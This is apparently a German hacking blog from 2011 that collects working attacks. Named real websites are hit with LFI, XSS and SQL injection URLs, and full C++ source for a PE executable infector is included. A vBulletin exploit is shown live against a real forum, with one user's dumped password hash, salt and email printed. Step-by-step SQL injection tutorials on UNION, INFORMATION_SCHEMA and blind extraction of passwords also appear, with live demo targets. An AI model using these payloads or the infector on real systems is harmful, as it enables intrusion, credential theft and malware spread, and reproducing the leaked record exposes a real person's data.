Freitag, 15. April 2011

LFI Example on Dinersclub.at

Man könnte doch meinen, CC-Konzerne können sich halbwegs um ihre Sicherheit kümmern. Scheinbar ist dem nicht so =)
Ich benutze die Seite einfach mal als kleines Beispiel für eine local file inclusion, hier ist's allerdings nur die Reader-Datei (ihr sollt ja keinen Mist mit sensibleren Server-Daten machen ;D)

http://dinersclub.at/jpg/thumb_new.php?thumb=pool%2FRAC%2Fhighlights%2F1208250399.jpg&w=../../../../../../../../etc/passwd.htm&h=67

~fred

XSS&SQLi Example on Nick.de

SQLi auf Nick.de :
http://www.nick.de/downloads/Nick-Wallpape...13.html?fid=377[SQLi]


XSS auf Nick.com : 

http://www.nick.com/search/?term=%3Cscript%3Ealert%28%27XSS%20by%20fred%27%29%3C/script%3E%27


~fred
PS: Ich hasse den Sender :D

[C++] PE Infector

HeyHo,
Krame grade ein bisschen in meinen alten HDD's rum & hab' unter anderem meinen, jetzt leider schon heuristisch detected, PE Infector gefunden.


/* Simple Pe Infector By fred (c) /* infecting method:
   find a free space in pe header;
   how it works?
   we find PointerToRawData of .text section because system loader put's her first 
   then we use my simple formulation :
   delta = PointerToRawData - sizeof(code) and scan this space of memmory if it's free infect file and 
   change OEP to delta.
   may be it will be more correct to use 
   delta = PointerToRawData - (sizeof(code) + some more) 

*/
/* iamge presentation
   ------------------
   |  PE HEADER     |
   |________________|
   |                |
   |                |
   |  OBJECT TABLE  |
   |________________|                
   |                |
   |                |
   | FREE SPACE     |          
   | our code       |
   |________________|
   |                |
   |.text section   |
   | next section   |
   | next section   |
   | .............. |
   |                |
   ------------------
*/
#include<windows.h>
#include<stdio.h>
unsigned long GetTextSectionOffset(PIMAGE_SECTION_HEADER pSectionHeader , int NumberOfSections)
{
 while(NumberOfSections > 0)
 {
  if( !strcmpi((char*)pSectionHeader->Name , ".text"))
  {
   return pSectionHeader->PointerToRawData;
  }
 }
 /* we did not find .text section */
 return 0;
}
/* entry point */
int main(int argc , char *argv[])
{
 HANDLE hFile;
 HANDLE hMap;
 char *MappedFile = 0;
 DWORD FileSize; /* file size */
 DWORD delta;   
 DWORD SectionOffset; /* .text section offset*/
 DWORD func_addr;
 IMAGE_DOS_HEADER *pDosHeader;
 IMAGE_NT_HEADERS *pNtHeader;
 IMAGE_SECTION_HEADER *pSecHeader;
 /* shell code*/
 char code[] = "\x6A\x00"              /*push 0 */
            "\xB8\x00\x00\x00\x00"  /*mov eax , func_addr (address will be inserted automaticly)*/
            "\xFF\xD0";             /*call eax */
 if(argc < 2)
 {
  printf("parameters : ssv.exe [filename] \n");
  printf("simple pe infector by _antony \n");
  return 0;
 }
 printf("target: [%s] \n" , argv[1]);
 /* open file */
 hFile = CreateFile(argv[1] , 
                 GENERIC_WRITE | GENERIC_READ ,
        0 ,
        0 ,
        OPEN_EXISTING ,
        FILE_ATTRIBUTE_NORMAL ,
        0);
 if(hFile == INVALID_HANDLE_VALUE)
 {
  printf("[Error]: Can't open File! Error code : %d" , GetLastError());
  return -1;
 }
 /* get file size */
 FileSize = GetFileSize(hFile , 0 );
 printf("[File Size ]: %d \n", FileSize);
 /* mapping file */
 hMap = CreateFileMapping(hFile ,
                       0 ,
        PAGE_READWRITE ,
        0 , 
        FileSize ,
        0);
 if(hMap == INVALID_HANDLE_VALUE)
 {
  printf("[Error]: Can't map file! Error code: %d\n" , GetLastError());
  CloseHandle(hFile);
  return -1;
 }
 MappedFile = (char*)MapViewOfFile(hMap , FILE_MAP_READ | FILE_MAP_WRITE , 0 , 0 , FileSize);
 if(MappedFile == NULL)
 {
  printf("[Error]: Can't map file! Error code %d\n", GetLastError());
  CloseHandle(hFile);
  CloseHandle(hMap);
  UnmapViewOfFile(MappedFile);
  return -1;
 }
 pDosHeader = (IMAGE_DOS_HEADER*)MappedFile;
 pNtHeader  = (IMAGE_NT_HEADERS*)((DWORD)MappedFile + pDosHeader->e_lfanew);
 pSecHeader = IMAGE_FIRST_SECTION(pNtHeader);
    /* get .text section PointerToRawData*/
 SectionOffset = GetTextSectionOffset(pSecHeader , pNtHeader->FileHeader.NumberOfSections);
 if(SectionOffset == 0)
 {
  printf("[Error]: Can't find .text section!\n");
  CloseHandle(hFile);
  CloseHandle(hMap);
  UnmapViewOfFile(MappedFile);
  return -1;
 }
 delta = SectionOffset - sizeof(code);
 int i;
 BYTE check;
 printf("scanning...\n");
 /* scanning space  if there are only 00 then we infect file */
 for(i=0 ; i<sizeof(code) ; i++)
 {
      check = *((BYTE*)MappedFile + delta + i);
   printf("%X \t", check);
   if(check != 0)
   {
    printf("There is some data...\n");
    CloseHandle(hFile);
    CloseHandle(hMap);
    UnmapViewOfFile(MappedFile);
    return -1;
   }
 }
   printf("Space if free , infecting File...\n");
   /* insert function address in shell code */
   func_addr = (DWORD)GetProcAddress( LoadLibrary("kernel32.dll") , "ExitProcess");
   for(i=0 ; i < sizeof(code) ; i++ )
   {
    if( *(DWORD*)&code[i] == 0x00000B8)
    {
     *(DWORD*)(code+i+1)= func_addr;
    }
   }
   printf("Old Entry Point : %08X \n" , pNtHeader->OptionalHeader.AddressOfEntryPoint);
   memcpy(MappedFile+delta , code , sizeof(code));
   /* new entry point */
   pNtHeader->OptionalHeader.AddressOfEntryPoint = delta;
          printf("File infected!\n");
   printf("New Entry Point: %08X \n" , delta);
   CloseHandle(hFile);
   CloseHandle(hMap);
   UnmapViewOfFile(MappedFile);
   return 0;
}

Großes Danke an meine damaligen c++ Leute ;-)


~fred

vBulletin® 4.x SQL Injection Vulnerability

hoi,
Seit dem letzten Knüller von vBulletin habe ich eigentlich nicht mehr mit einer gravierenden Lücke gerechnet. Doch am 05.04.2011 wurde dann ein “vBulletin 4.X Security Patch” veröffentlicht. Inzwischen sind schon einige Tage vergangen und ich hoffe, dass der ein oder andere Admin sein Board inzwischen updated hat.
Interessant ist beispielsweise, dass es folgende Versionen betrifft:
vBulletin Publishing suite
  • 4.1.2
  • 4.1.1
  • 4.1.0 PL2
  • 4.0.8 PL2
  • 4.0.7
  • 4.0.6
  • 4.0.5
  • 4.0.4 PL1
  • 4.0.3 PL1
  • 4.0.2 PL4
  • 4.0.1
  • 4.0.0 PL1
vBulletin Forum classic
  • 4.1.2
  • 4.1.1
  • 4.1.0 PL2
  • 4.0.8 PL2
  • 4.0.7
  • 4.0.6 PL1
  • 4.0.5
  • 4.0.4 PL1
  • 4.0.3 PL1
  • 4.0.2 PL4
  • 4.0.1
  • 4.0.0 PL1
Kurz gesagt <= 4.1.2 | vBulletin 3.x ist davon nicht betroffen. Das ganze hört sich interessant an - ist es auch!
Wo befindet sich die Luecke?
Hinweis: Meine Zeilen beziehen sich auf die vB Version 4.1.2 – bei niedrigeren Versionen _kann_ die Zeilenangabe variieren, die Lücke ist aber die gleiche.
Dann schauen wir uns mal 2 Dateien an, zuerst die /vb/search/searchtools.php – dort gehen wir in Zeile 715, die in etwa so aussieht:
public static function getDisplayString($table, $table_display, $fieldname, $key, $id, $comparator, $is_date)
 {
  global $vbulletin, $vbphrase;
  $names = array();
 
  if (is_array($id))
  {
   //If we have an array, we have to use equals.
   $sql = "SELECT DISTINCT $table.$fieldname from " . TABLE_PREFIX . "$table AS
    $table WHERE $key IN (" . implode(', ', $id) . ")";
 
   if ($rst = $vbulletin->db->query_read($sql))
   {
    while($row = $vbulletin->db->fetch_row($rst))
    {
     $names[] = $row[0];
    }
   }
 
   if (count($names) > 0)
   {
    return $table_display . ': ' . implode(', ', $names);
   }
  }
  else
  {
   //If we got here, we have a single value
   if ($row = $vbulletin->db->query_first("SELECT $table.$fieldname from " . TABLE_PREFIX . "$table AS
    $table WHERE $key = $id"))
   {
    return  $table_display . ' ' . self::getCompareString($comparator, $is_date)
     . ' ' . $row[0];
   }
  }
  return "";
 }
Vorallem die Variable $id ist nun für uns interessant, da sie in dieser Datei nicht gefiltert/überprueft wird.
Nun schauen wir, wo diese verwundbare Funktion verwendet wird und finden dann in /packages/vbforum/search/type/socialgroup.php Zeile 201 – 203:
vB_Search_Searchtools::getDisplayString('socialgroupcategory', $vbphrase['categories'],
 
     'title', 'socialgroupcategoryid', $value, vB_Search_Core::OP_EQ, true ));
Wenn wir das nun mit der obigen Funktion vergleichen:
public static function getDisplayString($table, $table_display, $fieldname, $key, $id, $comparator, $is_date)
 {
  global $vbulletin, $vbphrase;
  $names = array();
 
  $id = $vbulletin->db->sql_prepare($id);
  if (is_array($id))
  {
Wird es diese wohl sein ;)
Wie nutze ich das nun aus?
Wie oben gesehen, wird es wohl etwas mit den “socialgroups” also den “Gruppen” unter vBulletin und einer Suche dort zu tun haben. Ich werde euch _eine_ Möglichkeit zeigen, wie ihr die Lücke ausnutzen könnt. Es empfiehlt sich ein Addon wie “Live HTTP Headers” (für Firefox) zu benutzen, da wir mit dem POST Parameter arbeiten werden.
Schauen wir uns mal die Suche (search.php) an:
Erstmal klicken wir auf “Search by Type” bzw. “Search Multiple Content Types”, wählen dort dann “Gruppen” (bzw. Groups) aus und suchen am besten nach einer Gruppe, die auch existiert – ich werde es anhand von einem Live Beispiel demonstrieren.
Habe mir dieses Forum kurz geschnappt:
http://airoma.org/forum
Nun suchen wir nach “team”, da es ein paar Gruppen gibt, die den Text im Titel haben:

Einen Treffer gibts auch:


Schauen wir uns mal den POST Inhalt an, der in meinem Fall so aussieht:
type%5B%5D=7&query=team&titleonly=1&searchuser=&exactname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=after&sortby=relevance&order=descending&saveprefs=1&s=&securitytoken=1302542927-d4cf038925f1bba6869e060b837d651371f1c0e0&do=process&searchthreadid=
Um nun die Luecke auszunutzen, haengen wir unsere SQL Injection hinten dran:
type%5B%5D=7&query=team&titleonly=1&searchuser=&exactname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=after&sortby=relevance&order=descending&saveprefs=1&s=&securitytoken=1302542927-d4cf038925f1bba6869e060b837d651371f1c0e0&do=process&searchthreadid=&cat[0]=1) UNION SELECT 'haxhax' #
Und sieh an, sieh an:

Eine eindeutige Ausgabe :)
Nun kann man zum Beispiel so weiter machen:
type%5B%5D=7&query=team&titleonly=1&searchuser=&exactname=1&tag=&dosearch=Search+Now&searchdate=0&beforeafter=after&sortby=relevance&order=descending&saveprefs=1&s=&securitytoken=1302542927-d4cf038925f1bba6869e060b837d651371f1c0e0&do=process&searchthreadid=&cat[0]=1) UNION SELECT concat_ws(0x3a,username,password,salt,email) FROM bulletinuser limit 1,1#
und siehe da:

Richard™:cecc1cac4442df94e95eae0f02a0c64e:W&c$q#V}rD85C'D7~0,($cg,:/N:L#:richard@airoma.org
Quasi owned ;)
Wie behebe ich die Luecke?
Als vB Kunde einfach den passenden Patch benutzen, auf vBulletin 4.1.3 updaten oder “von hand” schnell fixxen (ich werde die Methode zeigen, welche im Patch Level verwendet wurde):
/vb/search/searchtools.php
 
  $id = $vbulletin->db->sql_prepare($id);
  if (is_array($id))
  {
Sprich es wurde einfach “$id = $vbulletin->db->sql_prepare($id);” hinzugefuegt. Nun _muss_ noch die
/includes/class_core.php
editiert werden, naemlich:
Alt (Zeile 750):
function sql_prepare($value)
 {
  if (is_string($value))
  {
   return "'" . $this->escape_string($value) . "'";
  }
  else if (is_numeric($value) AND $value + 0 == $value)
  {
   return $value;
  }
  else if (is_bool($value))
  {
   return $value ? 1 : 0;
  }
  else
  {
   return "'" . $this->escape_string($value) . "'";
  }
 }
Neu:
function sql_prepare($value)
 {
  if (is_string($value))
  {
   return "'" . $this->escape_string($value) . "'";
  }
  else if (is_numeric($value) AND $value + 0 == $value)
  {
   return $value;
  }
  else if (is_bool($value))
  {
   return $value ? 1 : 0;
  }
  else if (is_null($value))
  {
   return "''";
  }
  else if (is_array($value))
  {
   foreach ($value as $key => $item)
   {
    $value[$key] = $this->sql_prepare($item);
   }
   return $value;
  }
  else
  {
   return "'" . $this->escape_string($value) . "'";
  }
 }




So das war's erstmal..

~fred

SQL Injection Tutorial Teil 3

Heyho,
heute werde ich euch versuchen zu erklaeren, wie man eine Blind SQL Injection durchführt.
Was ist/Wann/Warum eine Blind SQL Injection?
Nach “Blind SQL Injection” Methode geht man normal dann vor, wenn man keine Ausgabe hat, die MySQL Version 3 ist, oder auf dem Server “UNION” aus welchem Grund auch immer nicht verfuegbar ist. Meistens jedoch wenn keine Ausgabe da ist. Bei einer Blind SQL Injection geht man normal so vor, dass man den Server quasi eine Frage stellt und dieser kann nur JA oder NEIN (True/False) antworten. Eine Blind SQL Injection dauert normal verdammt lange, wenn man das per Hand macht. Scripts helfen auch hierbei wieder. Was man sich auch noch merken kann/sollte: Eine Blind SQL Injection ist normal auch immer dann möglich, wenn eine normale SQL Injection möglich ist, umgekehrt jedoch nicht.
Fangen wir auch gleich an… wieder mit and 1 = 0 und and 1 = 1 um zu testen wie/ob der server auf True/False statements reagiert. Wenn ja ist aufjedenfall ne Blind SQL Injection moeglich.
http://www.site.de/news.php?id=5 and 1 = 0
Wichtig: Die ID muss gültig bleiben, kein minus oder ähnliches davor. Nun sollte unser Inhalt fehlerhaft dargestellt werden bzw etwas fehlen. Dann testen wir ein True Statement:
http://www.site.de/news.php?id=5 and 1 = 1
Nun sollte die Page normal angezeigt werden ohne Fehler. Sollte sich von 1 = 0 und 1 = 1 der Inhalt bzw die Seite sich kaum aendern testet es mit einem hochkomma ‘ hinter der 5. Wenn sich dann nichts aendert ist meistens keine Blind SQL Injection moeglich (gibt auch noch moölichkeit and ’1′ = ’0′ zu verwenden..)
So wir gehen davon aus, dass unsere Page verwundbar ist. Fangen wir nun richtig an ;)
1) MySQL Version herrausfinden
Funktioniert wie bei einer normalen SQL Injection, verwendet wird version() oder @@version.
Nur arbeitet man hier mit SUBSTRING, dass heißt das nur ein Teil von einem String ausgegeben wird. Weiteres dazu → Google ;)
http://www.site.de/news.php?id=5 and SUBSTRING(version(),1,1)=5
/* bzw. – wird normal nicht mehr benoetigt, da es das andere Query nicht groß stoert.
SUBSTRING(version() ← fragt nach der MySQL Version
,1,1 ← ab dem ersten Zeichen mit der Laenge 1
=5 ← fragt ob die MySQL Version mit 5 beginnt
Fraegt quasi:
… id=5 und “der erste Buchstabe der Version() faengt mit 5 an”.
Wenn dort nun die Page richtig angezeigt wird, dann ist es MySQL v5. Wenn nun die Page falsch angezeigt wird, probiert =4
Nun sollte die Page richtig geladen werden, da eins der beiden Statements true ist. Wenn nich probiert =3, hatte ich schon paar mal, jedoch ist das selten.
2) Blind SQL Injection durchfuehren
Da wir per SUBSTRING arbeiten, brauchen wir auch kein UNION.
Es gibt verschiedene Wege herauszufinden, welche Tabellen und columns existieren. Jedoch da eine Blind SQL Injection ist, bringt uns das nicht arg viel, da nur TRUE/FALSE ausgegeben wird. Außer es ist MySQL 5 wegen der DB INFORMATION_SCHEMA. Klar, wenn man das gut kann, kann man auch Befehle wie LIKE usw. anwenden und so schauen was fuer Tabellen existieren, jedoch zeige ich euch einen Weg der stark an MySQL v4 Methode erinnert, und zwar – raten ;)
Ist aehnlich wie ein normales SQL Injections Query nur muessen wir fragen, ob es stimmt, was wir angeben.
Pruefen koennen wir das mithilfe von ASCII. Mehr zu ASCII + Tabelle: http://de.wikipedia.org/wiki/ASCII-Tabelle
Wir gehen nun davon aus, dass wir wissen wie die Tabellen und Spalten sind. Wie man das rausfindet, raten oder eben Scripts verwenden, darkc0de.com hat gute Python Scripts was Blind SQL Injections angeht, bei bedarf lad ichs auch schnell hoch. Vorallem mit MySQL 5 kommt dieses Script super zurecht. So nun wollen wir anfangen, im normallfall geht man immer Buchstabe fuer Buchstabe vor:
http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),1,1))>80
Erklaerung:
and ASCII( ← Nach dem ASCII wert wird gefragt
SUBSTRNG( ← wird wieder Substring angewendet
(SELECT ← wird eine klammer benutzt
SELECT password FROM users ← wird wieder normal nach dem password aus der Tabelle `users`
limit 0,1) ← Wird nach der aller ersten Zeile gefragt + Query geschlossen
,1,1) ← 1 Zeichen, 1 Laenge
)>80 ← Ob die ERSTE stelle des PW einen ASCII wert hat der GrOEßER ist als 80
Wenn nun die Page richtig angezeigt wird, dann ist der ASCII wert groeßer als 80.. weiter testen..
http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),1,1))>90
Nun wird die Page fehlerhaft angezeigt, bzw. der Inhalt ist nicht ganz zu sehen, also ist das Statement falsch. Der ASCII Wert von der ersten Stelle des Pws is also kleiner als 90.. probieren wir 85
http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),1,1))>85
True..
http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),1,1))>86
False. Also ist der ASCII wert NICHT GrOEßER als 86 sondern = 86. Testen koennt ihr das mit
http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),1,1))=86
Wenn nun der Inhalt richtig angezeigt wird, ist der ASCII Wert 86.
Also erste Stelle des PW, schauen wir auf unserer ASCII-Tabelle nach..
86 – V
Also beginnt unser PW mit einem großen V
Nun die zweite Stelle des Pws.. ),2,1) Da nach der Zweiten Stelle gefragt wird.. sieht etwa so aus:
http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),2,1))>90
False.
http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),2,1))>80
False.
http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),2,1))>50
True.
http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),2,1))>52
False
http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),2,1))=52
True.
Also ist der ASCII wert 52. → 4 laut unserer ASCII Tabelle.
Also sieht unser PW bis jetzt so aus: V4
Nun ),3,1).. usw.. ich denke ihr wisst nun wie ;)
Das macht ihr solange bis
http://www.site.de/news.php?id=5 and ascii(substring((SELECT password from users limit 0,1),XX,1))>1
False ist.
Klar gibt’s fuer so was auch wieder nen Skript (darkc0de.com), welches das alles erleichtert. Aber echte Inject0r machen das per Hand =D
So das war nun mein Tutorial ueber Blind SQL Injections, ich hoffe das man es verstehen konnte, und ja, im vorerst letzten Teil der SQL Injection Tutorial Reihe gehen wir auf Schritte bei einer SQL Injection ein, die man als Anfänger nicht zu wissen braucht.

~fred

Sonntag, 10. April 2011

SQL Injection Tutorial Teil 2

Heyho,
Im 2. Teil meines Tutorials wird sich alles mehr auf MySQL v5 beziehen.
Noch ein paar Nachträge zum ersten Teil:
Zum Punkt ausgeben, mit concat(username,0x3a,password) lohnt es sich ab Ausgaben von 3 oder mehr Columns, also zum Beispiel noch eMail, die Funktion concat_ws() zu benutzten. Das sieht dann so aus:
http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,concat_ws(0x3a,username,password,email),3/**/FROM/**/users/*
Vorraussetzung ist, dass der Column eMail auch existiert.
Die Ausgabe sieht dann so aus:
Username:Password:eMail
Da es noch was wegen dem “and” gab.
http://www.site.de/news.php?id=5 and 1 = 0
Das and 1 = 0 fragt hier ob 1 = 0 ist. Da 1 != 0 ist, ist das also Falsch (false) und daher sollte wenn etwas vuln ist, auf der Page inhaltlich etwas fehlen oder eben auch nen error erscheinen.
http://www.site.de/news.php?id=5 and 1 = 1
Sollte die Page normal anzeigen, da 1=1 ist, und logisch auch richtig ist. Das “sagt” dann so viel wie “Zeige id=5 wenn 1=1 ist”. Daher sollte hier der Inhalt richtig angezeigt werden.
So nun zum eigentlichen Tutorial, wenn wir nun die Anzahl der Columns mit Order By rausbekommen haben, UNION SELECT 1,version(),3 funktioniert und wir dort Version 5.0.45-community oder 5.x.x rausbekommen, dann haben wir im Normalfall auch Zugriff auf die Datenbank INFORMATION_SCHEMA. Mehr dazu hier: *klick* (die MySQL Documentation kann oft hilfreich sein). Im Normallfall werden dort quasi alle Tabellen/Columns gespeichert, welche sich auf der DB befinden. Dies ist ein extremer Vorteil, den so koennen wir uns alle Datenbanken, Tabellen und Spalten ausgeben lassen. Vorallem gibts fuer v5 auch einige gute Scripts, welche einem die ganzen DB/Tables/Columns rausschreibt.
Ich gebe mir das mit conat_ws aus. Wir wollen uns nun ausgeben: DATENBANK:TABELLE:SPALTE
Das ganze muessen wir so gestalten:
http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,concat_ws(0x3a,table_schema,table_name,column_name),3/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/LIMIT/**/180,1/*
Bis ~ 180 kommen tabellen von INFORMATION_SCHEMA welche uninteressant sind, ab ~ Limit 180 werden uns die Daten von anderen DBs ausgegeben, welche dann fuer uns auch interessant sind. Zuerst zum LIMIT, was bewirkt das? Das LIMIT wählt den Datensabsatz/Reihe aus, welche ausgelesen werden soll. 0,1 bzw 1,1 waere der erste Datensatz, 2,1 wäre der Zweite usw..
Nun wird uns ausgegeben:
Datenbankname:tabellenname:spaltenname
Wichtig: Ihr müsst beachten, wenn sich mehrere Datenbanken auf dem Server befinden, muessen wir die richtige DB im FROM Statement mit einem Punkt auswählen. Das heißt, wenn die DB lol heißt und die Tabelle users dann sieht das so aus:
... FROM lol.users...
Daher haben wir hier auch INFROMATION_SCHEMA.COLUMNS genommen, da in der Tabelle Columns man DB name, tabellen name und column name auslesen kann, ist manchmal sehr wichtig.
Dann gehen wir das Limit durch, wenn ihr nun irgendwann bei webuser:users:username bei LIMIT 301,1 und bei 302,1 webuser:users:password steht (db name is frei erfunden), dann wissen wir nun “aha die DB heißt webuser, die Tabelle heißt users und die Spalten sind username und password”. Koennt auch noch 303,1 machen usw.. irgendwann erscheint ein error (oder eine weiße seite) und dann wisst ihr, dass ihr am Ende seid und nicht weitere Tabellen mehr existieren. Ist natürlich totaler Schwachsinn das immer eins aufzuzählen, ich mach das in 50er-Schritten. Wie gesagt, Scripts können hier helfen, darkc0de hat tolle Python scripts. Ansonsten einfach in Schritten weiter machen, ob ihr irgendeine tabelle mit users oder admins oder ähnliches seht und dann dort eben in 1er schritten weiter.
Wenn wir nun unsere Daten haben, machen wir wie bei Teil 1 weiter:
http://www.site.de/news.php?id=-5 /**/UNION/**/SELECT/**/1,concat(username,0x3a,password),3/**/FROM/**/users/*
Aufjedenfall hilft, wie ihr seht, MySQL version 5.x.x um einiges weiter, da wir hier nicht Tabellen Namen irgendwie erraten muessen ;)
Das war nun Teil 2 von meiner Tutorial Reihe, der kürzeste Teil, da man zu Version 5 nicht viel erzählen kann.
Hier noch schnell eine Livedemo:
http://www.sbcommunicationsgroup.com/media-info.php?id=-1/**/UNION/**/SELECT/**/1,2,3,concat_ws(0x3a,table_schema,table_name,column_name)/**/FROM/**/INFORMATION_SCHEMA.COLUMNS/**/LIMIT/**/180,1/*
Aufjedenfall hoffe ich, dass ihr dieses Tutorial mehr oder weniger verstanden habt und es vorallem Neulingen bzw Anfängern geholfen hat. :)
Teil 3 über Blind SQL Injections wird bald folgen, schon fast alles fertig!


~fred

SQL Injection Tutorial Teil 1

Heyhoo,
wie versprochen werde ich nun, nachdem sich der ganze Schulkram etwas gelegt hat,  das vielleicht von einigen lang erwartete SQL Injection Tutorial schreiben.  Das Tutorial bezieht sich auf eine MySQL Datenbank. Auf MS SQL oder ähnliches sieht das ganze total anders aus. Da MySQL die “populärste Open Source” Datenbank ist, wird sie daher auch am häufigsten verwendet.
Was ist eine SQL Injection?
Ich denke Wikipedia beantwortet diese Frage ziemlich ausfuehrlich:
SQL-Injection (dt. SQL-Einschleusung) bezeichnet das Ausnutzen einer Sicherheitslücke in Zusammenhang mit SQL-Datenbanken, die durch mangelnde Maskierung oder Überprüfung von Metazeichen in Benutzereingaben entsteht. Der Angreifer versucht dabei, über die Anwendung, die den Zugriff auf die Datenbank bereitstellt, eigene Datenbankbefehle einzuschleusen. Sein Ziel ist es, Daten in seinem Sinne zu verändern oder Kontrolle über den Server zu erhalten.
Heißt kurz und knapp, ihr koennt an das Admin PW kommen. :D
Nun ich werde das Tutorial in mehrere Teile aufteilen, der erste Teil wird der längste und ausführlichste sein.
Teil 1 SQL Injections vom finden der Luecke bis zum Admin PW, Teil 2 MySQL v5 – Greifen wir auf INFORMATION_SCHEMA zu, Teil 3 Blind SQL Injections und Teil 4 wird tiefer eingehen.
Dann fangen wir mal an ;)
0. Vorwort
Es wird oft behauptet, das PHP & MySQL Wissen für eine SQL Injection vorrausgesetzt wird. Jedoch ist das meiner Meinung nach nicht ganz richtig. Klar, wenn man PHP & MySQL beherrscht, dann wird man öfters und schneller Lücken finden. Auch wird man Lücken nachvollziehen können; warum sie dort sind und wie man es verhindern kann. Jedoch um eine SQL Injection zu produzieren, ist meiner Meinung nach, kein PHP & MySQL Wissen vorrausgesetzt, man sollte nur mit Order by und UNION SELECT umgehen können. Das reicht dann auch für ne normale SQL Injection.
1) Nach einer Luecke suchen
Bei einer normalen SQL Injection kann man oft an einem (GET) Parameter einfach ein Hochkomma (dieses ‘) dranhängen um einen Error auszuloesen, beispiel:
http://www.site.de/news.php?id=5'
Wenn sich an der Seite nun nichts ändert, dann ist sie relativ sicher. Wenn wir nun jedoch einen Error bekommen, zum Beispiel:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…
Dann scheint die Seite ziemlich sicher, verwundbar zu sein. Gibt jedoch auch einige andere MySQL Error die Verwundbarkeit zeigen.
Schauen wir uns das mal genauer in einem Beispiel Source an:
SELECT * FROM news WHERE id = 5'
Hier sieht man das unser Hochkomma das Query stört.
(Liegt aber an einen Fehler vom Coder, er sollte die ID filtern lassen bzw. zum beispiel intval() benutzen, damit nur Zahlen “akzeptiert” werden, dann wäre auch keine SQL Injection möglich)
Aber unser Query koennte auch so aussehen:
SELECT * FROM news WHERE id = '5''
Jedoch auch hier sieht man was stört. Nämlich unser Hochkomma ‘ welches das Query unterbricht. Nun haben wir eine Lücke gefunden.
Man kann dies jedoch auch mit and 1 = 0 und and 1 = 1, also False oder True prüfen, bei 1=1 sollte die Page ohne fehler angezeigt werden und bei 1 = 0 sollte die Page verändert angezeigt werden, das heißt das etwas Inhalt fehlt, sich der Inhalt ändert, oder ne Fehlermeldung kommt. Seht ihr dann auch.
2) Anzahl der Columns rausfinden
Da wir später den Befehl UNION benutzen wollen (dazu später mehr), brauchen wir die Anzahl der Columns, welche im ersten Query Abgefragt wurde. Das Beispiel oben ist nicht optimal, da durch * alle Columns ausgewählt werden, würde unser Query aber so aussehen:
SELECT author,datum,text FROM news WHERE id = 5
Dann wäre die Anzahl der Columns, das hinter SELECT, die Zahl 3. Da man jedoch im normalfall kein Query sehen sollte, müssen wir das Mithilfe vom SQL Statement Order By testen.
Das sieht dann etwa so aus:
http://www.site.de/news.php?id=5+order+by+1/*
(Wir nehmen das erste MySQL Query ohne diese ‘ ‘)Wenn uns die Seite nun normal angezeigt wird, dann hat die Page mehr als einen Column.
Eventuell muss man hinter der 5 noch ein Hochkomma ‘ dranhängen, dies ist Query abhängig.
Falls noch ein Error kommt, müssen wir unsere Abfrage mit einem anderen Kommentarzeichen ändern. /*,–(doppel minus),# kommentieren ein Query aus. Dies sollte man normalerweise immer benutzen, also entweder /* oder –(wieder zweimal ein minus), da das vorallem bei einem langen Query wichtig ist um Fehler zu vermeiden wenn das Query weitergeht.
Also testen wir Order By weiter bis ein Error erscheint.
http://www.site.de/news.php?id=5+order+by+5/*
<-- aha, Error kommt. Also sind es weniger als 5 columns, oft erscheint ein Error wie z.B.: „Unknown column '5' in 'order clause'“
http://www.site.de/news.php?id=5 +order+by+3/* <-- kein Error
http://www.site.de/news.php?id=5 +order+by+4/* <-- Error erscheint, also haben wir 3 Columns, weil der Error bei 4 kam.
Nun haben wir die Column Anzahl vom ersten Query.
3) UNION verwenden
Durch UNION können wir quasi aus einem Query zwei machen. Vorraussetzung ist, UNION SELECT muss die Anzahl des ersten Querys im zweiten Query wiedergeben. Um euch das zu zeigen hier ein Beispiel:
SELECT author,datum,text FROM news WHERE id = 5 UNION SELECT 1,2,3 FROM blub/*
Auch hier ist das Auskommentieren am Schluss wichtig.
Da wir durch Order By rausbekommen haben, dass es 3 Columns sind, müssen wir auch UNION SELECT 1,2,3 machen. Sieht dann so aus:
http://www.site.de/news.php?id=5/**/UNION/**/SELECT/**/1,2,3/*
Man kann auch statt /**/ eben + oder %20 (leertaste) benutzen, aber ich benutze ganz gern /**/ :)
So falls ihr nun auf dem Bildschirm Zahlen seht, die 1,2 oder 3 enthalten, dann funktioniert unser UNION SELECT Statement sehr häufig oder eigentlich sogut wie immer. Sieht dann so aus:
http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,2,3/*
Nun sollten wir auf dem Bildschirm eine 1,2 oder 3 sehen. Ist dies nicht der fall haben wir eine Falsche Column-Anzahl erwischt oder der Server hat MySQL Version 3, das ist dort schlecht, da bei der Version 3 kein UNION existiert, da es das erst seit Version 4 gibt. Das müsste man dann anders machen, wird in Teil 3 meines Tutorials genauer drauf eingegangen.
4) MySQL Version ermitteln
So, wenn wir nun eine 1,2 oder 3 auf dem  Bildschirm sehen, dann können wir uns da wo die Zahl ist etwas ausgeben lassen. Entweder man ist lustig drauf und ersetzt die Zahl durch einen hex code zum Beispiel sehen wir die 2 auf der Seite, dann ersetzen wir die 2 in der URL durch 0x66 und sehen beim Drücken auf Enter auf einmal dort wo die 2 war “f” stehen :D
Wichtiger ist eher die MySQL Version auszugeben, da man bei Version 4 die Tabellen “erraten” muss und ab 5 hat man es sowieso extrem leichter dank INFORMATION_SCHEMA, dazu im zweiten Tutorial mehr. Ausgeben lassen kann man sich das mit version() oder @@version. Das nehmen wir wieder unsere 2 welche wir auf dem Bildschirm sehen und ersetzen es in der URL mit version().
http://www.site.de/news.php?id=-5/**/UNION/**/SELECT/**/1,version(),3/*
